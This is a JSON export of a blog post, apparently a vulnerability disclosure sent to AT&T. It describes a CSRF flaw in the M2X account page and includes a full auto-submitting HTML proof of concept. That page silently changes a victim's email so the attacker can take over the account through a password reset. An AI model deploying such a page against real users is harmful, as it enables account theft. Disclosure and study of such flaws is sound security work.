{"id":129,"date":"2014-06-24T10:32:09","date_gmt":"2014-06-24T08:32:09","guid":{"rendered":"https:\/\/hacksecproject.com\/?p=129"},"modified":"2018-11-23T17:00:49","modified_gmt":"2018-11-23T17:00:49","slug":"att-from-csrf-to-full-takeover-account-of-any-user","status":"publish","type":"post","link":"https:\/\/hacksecproject.com\/?p=129","title":{"rendered":"AT&#038;T : From CSRF to Full Takeover Account of any user"},"content":{"rendered":"<p>This is the PoC i sent to AT&amp;T<\/p>\n<p>I&#8217;ve found a CSRF bug that may lead to full takeover account of a M2X AT&amp;T user account<br \/>\nThese are the steps to reproduce the issue:<br \/>\n1)Login into https:\/\/m2x.att.com\/login<!--more--><\/p>\n<p>2)Once logged in we have to go to https:\/\/m2x.att.com\/account<br \/>\nIn this page we can see &#8220;First Name&#8221;,&#8221;Last Name&#8221;,&#8221;Email&#8221; forms.If we try to change the values of these forms and subsequently click<br \/>\non the &#8220;Save Changes&#8221; button a POST request like this will be generated with no anti-CSRF token:<\/p>\n<p>POST https:\/\/m2x.att.com\/account<\/p>\n<p>Host: m2x.att.com<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:22.0) Gecko\/20100101 Firefox\/22.0 Iceweasel\/22.0<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nReferer: https:\/\/m2x.att.com\/account<br \/>\nCookie: mycookies<br \/>\nConnection: keep-alive<br \/>\nContent-Type: application\/x-www-form-urlencoded<br \/>\nContent-Length: 115<\/p>\n<p>first_name=marco1&amp;last_name=cariddi&amp;email=sangunazzu@gmail.com&amp;current_password=&amp;password=&amp;password_confirmation=<\/p>\n<p>There is no anti-CSRF token so it&#8217;s vulnerable to CSRF.So now i can create an ad-hoc HTML page like the following to set the value of the<br \/>\n&#8220;email&#8221; parameter with the email of the attacker.Once the victim has visited the HTML page,the new attacker&#8217;s email will be saved in the<br \/>\nvictim account and subsequently the attacker could make a Reset password at this page https:\/\/m2x.att.com\/forgot-password.<br \/>\nSo now an email will be sent to the attacker&#8217;s email and now the attacker can reset password of the victim&#8217;s account.<\/p>\n<p>This is the CSRF Final POC:<\/p>\n<p>&lt;!DOCTYPE HTML PUBLIC &#8220;-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN&#8221;&gt;<\/p>\n<p>&lt;html&gt;<br \/>\n&lt;head&gt;<br \/>\n&lt;title&gt;How i\u00a0 Hacked AT&amp;T&lt;\/title&gt;<br \/>\n&lt;\/head&gt;<\/p>\n<p>&lt;body onload=&#8221;javascript:fireForms()&#8221;&gt;<br \/>\n&lt;script language=&#8221;JavaScript&#8221;&gt;<br \/>\nvar pauses = new Array( &#8220;1824&#8221; );<\/p>\n<p>function pausecomp(millis)<br \/>\n{<br \/>\nvar date = new Date();<br \/>\nvar curDate = null;<\/p>\n<p>do { curDate = new Date(); }<br \/>\nwhile(curDate-date &lt; millis);<br \/>\n}<\/p>\n<p>function fireForms()<br \/>\n{<br \/>\nvar count = 1;<br \/>\nvar i=0;<\/p>\n<p>for(i=0; i&lt;count; i++)<br \/>\n{<br \/>\ndocument.forms[i].submit();<\/p>\n<p>pausecomp(pauses[i]);<br \/>\n}<br \/>\n}<\/p>\n<p>&lt;\/script&gt;<br \/>\n&lt;H2&gt;How i\u00a0 Hacked AT&amp;T&lt;\/H2&gt;<br \/>\n&lt;form method=&#8221;POST&#8221; name=&#8221;form0&#8243; action=&#8221;https:\/\/m2x.att.com:443\/account&#8221;&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;first_name&#8221; value=&#8221;marco1&#8243;\/&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;last_name&#8221; value=&#8221;cariddi&#8221;\/&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;email&#8221; value=&#8221;sangunazzu@gmail.com&#8221;\/&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;current_password&#8221; value=&#8221;&#8221;\/&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;password&#8221; value=&#8221;&#8221;\/&gt;<br \/>\n&lt;input type=&#8221;hidden&#8221; name=&#8221;password_confirmation&#8221; value=&#8221;&#8221;\/&gt;<br \/>\n&lt;\/form&gt;<\/p>\n<p>&lt;\/body&gt;<br \/>\n&lt;\/html&gt;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is the PoC i sent to AT&amp;T I&#8217;ve found a CSRF bug that may lead to full takeover account of a M2X AT&amp;T user account These are the steps to reproduce the issue: 1)Login into https:\/\/m2x.att.com\/login<\/p>\n","protected":false},"author":2,"featured_media":9,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-129","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized-en"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>AT&amp;T : From CSRF to Full Takeover Account of any user -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hacksecproject.com\/?p=129\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"AT&amp;T : From CSRF to Full Takeover Account of any user -\" \/>\n<meta property=\"og:description\" content=\"This is the PoC i sent to AT&amp;T I&#8217;ve found a CSRF bug that may lead to full takeover account of a M2X AT&amp;T user account These are the steps to reproduce the issue: 1)Login into https:\/\/m2x.att.com\/login\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hacksecproject.com\/?p=129\" \/>\n<meta property=\"article:published_time\" content=\"2014-06-24T08:32:09+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2018-11-23T17:00:49+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hacksecproject.com\/wp-content\/uploads\/2018\/04\/ATT-Restricted.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Medu554\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Medu554\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129\"},\"author\":{\"name\":\"Medu554\",\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/#\\\/schema\\\/person\\\/526444cfaef818c23a7b4e4519573689\"},\"headline\":\"AT&#038;T : From CSRF to Full Takeover Account of any user\",\"datePublished\":\"2014-06-24T08:32:09+00:00\",\"dateModified\":\"2018-11-23T17:00:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129\"},\"wordCount\":474,\"image\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hacksecproject.com\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/ATT-Restricted.jpg\",\"articleSection\":[\"Uncategorized\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129\",\"url\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129\",\"name\":\"AT&T : From CSRF to Full Takeover Account of any user -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hacksecproject.com\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/ATT-Restricted.jpg\",\"datePublished\":\"2014-06-24T08:32:09+00:00\",\"dateModified\":\"2018-11-23T17:00:49+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/#\\\/schema\\\/person\\\/526444cfaef818c23a7b4e4519573689\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hacksecproject.com\\\/?p=129\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129#primaryimage\",\"url\":\"https:\\\/\\\/hacksecproject.com\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/ATT-Restricted.jpg\",\"contentUrl\":\"https:\\\/\\\/hacksecproject.com\\\/wp-content\\\/uploads\\\/2018\\\/04\\\/ATT-Restricted.jpg\",\"width\":1600,\"height\":900},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/?p=129#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hacksecproject.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"AT&#038;T : From CSRF to Full Takeover Account of any user\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/#website\",\"url\":\"https:\\\/\\\/hacksecproject.com\\\/\",\"name\":\"\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hacksecproject.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hacksecproject.com\\\/#\\\/schema\\\/person\\\/526444cfaef818c23a7b4e4519573689\",\"name\":\"Medu554\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/29ba1a61e7548d882dbad311db32d5e08fdc44eee25a59452ea4ac5a94ed80b3?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/29ba1a61e7548d882dbad311db32d5e08fdc44eee25a59452ea4ac5a94ed80b3?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/29ba1a61e7548d882dbad311db32d5e08fdc44eee25a59452ea4ac5a94ed80b3?s=96&d=mm&r=g\",\"caption\":\"Medu554\"},\"url\":\"https:\\\/\\\/hacksecproject.com\\\/?author=2\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"AT&T : From CSRF to Full Takeover Account of any user -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hacksecproject.com\/?p=129","og_locale":"it_IT","og_type":"article","og_title":"AT&T : From CSRF to Full Takeover Account of any user -","og_description":"This is the PoC i sent to AT&amp;T I&#8217;ve found a CSRF bug that may lead to full takeover account of a M2X AT&amp;T user account These are the steps to reproduce the issue: 1)Login into https:\/\/m2x.att.com\/login","og_url":"https:\/\/hacksecproject.com\/?p=129","article_published_time":"2014-06-24T08:32:09+00:00","article_modified_time":"2018-11-23T17:00:49+00:00","og_image":[{"width":1600,"height":900,"url":"https:\/\/hacksecproject.com\/wp-content\/uploads\/2018\/04\/ATT-Restricted.jpg","type":"image\/jpeg"}],"author":"Medu554","twitter_card":"summary_large_image","twitter_misc":{"Scritto da":"Medu554","Tempo di lettura stimato":"2 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hacksecproject.com\/?p=129#article","isPartOf":{"@id":"https:\/\/hacksecproject.com\/?p=129"},"author":{"name":"Medu554","@id":"https:\/\/hacksecproject.com\/#\/schema\/person\/526444cfaef818c23a7b4e4519573689"},"headline":"AT&#038;T : From CSRF to Full Takeover Account of any user","datePublished":"2014-06-24T08:32:09+00:00","dateModified":"2018-11-23T17:00:49+00:00","mainEntityOfPage":{"@id":"https:\/\/hacksecproject.com\/?p=129"},"wordCount":474,"image":{"@id":"https:\/\/hacksecproject.com\/?p=129#primaryimage"},"thumbnailUrl":"https:\/\/hacksecproject.com\/wp-content\/uploads\/2018\/04\/ATT-Restricted.jpg","articleSection":["Uncategorized"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hacksecproject.com\/?p=129","url":"https:\/\/hacksecproject.com\/?p=129","name":"AT&T : From CSRF to Full Takeover Account of any user -","isPartOf":{"@id":"https:\/\/hacksecproject.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hacksecproject.com\/?p=129#primaryimage"},"image":{"@id":"https:\/\/hacksecproject.com\/?p=129#primaryimage"},"thumbnailUrl":"https:\/\/hacksecproject.com\/wp-content\/uploads\/2018\/04\/ATT-Restricted.jpg","datePublished":"2014-06-24T08:32:09+00:00","dateModified":"2018-11-23T17:00:49+00:00","author":{"@id":"https:\/\/hacksecproject.com\/#\/schema\/person\/526444cfaef818c23a7b4e4519573689"},"breadcrumb":{"@id":"https:\/\/hacksecproject.com\/?p=129#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hacksecproject.com\/?p=129"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hacksecproject.com\/?p=129#primaryimage","url":"https:\/\/hacksecproject.com\/wp-content\/uploads\/2018\/04\/ATT-Restricted.jpg","contentUrl":"https:\/\/hacksecproject.com\/wp-content\/uploads\/2018\/04\/ATT-Restricted.jpg","width":1600,"height":900},{"@type":"BreadcrumbList","@id":"https:\/\/hacksecproject.com\/?p=129#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hacksecproject.com\/"},{"@type":"ListItem","position":2,"name":"AT&#038;T : From CSRF to Full Takeover Account of any user"}]},{"@type":"WebSite","@id":"https:\/\/hacksecproject.com\/#website","url":"https:\/\/hacksecproject.com\/","name":"","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hacksecproject.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Person","@id":"https:\/\/hacksecproject.com\/#\/schema\/person\/526444cfaef818c23a7b4e4519573689","name":"Medu554","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/29ba1a61e7548d882dbad311db32d5e08fdc44eee25a59452ea4ac5a94ed80b3?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/29ba1a61e7548d882dbad311db32d5e08fdc44eee25a59452ea4ac5a94ed80b3?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/29ba1a61e7548d882dbad311db32d5e08fdc44eee25a59452ea4ac5a94ed80b3?s=96&d=mm&r=g","caption":"Medu554"},"url":"https:\/\/hacksecproject.com\/?author=2"}]}},"_links":{"self":[{"href":"https:\/\/hacksecproject.com\/index.php?rest_route=\/wp\/v2\/posts\/129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacksecproject.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacksecproject.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacksecproject.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/hacksecproject.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=129"}],"version-history":[{"count":2,"href":"https:\/\/hacksecproject.com\/index.php?rest_route=\/wp\/v2\/posts\/129\/revisions"}],"predecessor-version":[{"id":285,"href":"https:\/\/hacksecproject.com\/index.php?rest_route=\/wp\/v2\/posts\/129\/revisions\/285"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hacksecproject.com\/index.php?rest_route=\/wp\/v2\/media\/9"}],"wp:attachment":[{"href":"https:\/\/hacksecproject.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacksecproject.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=129"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacksecproject.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}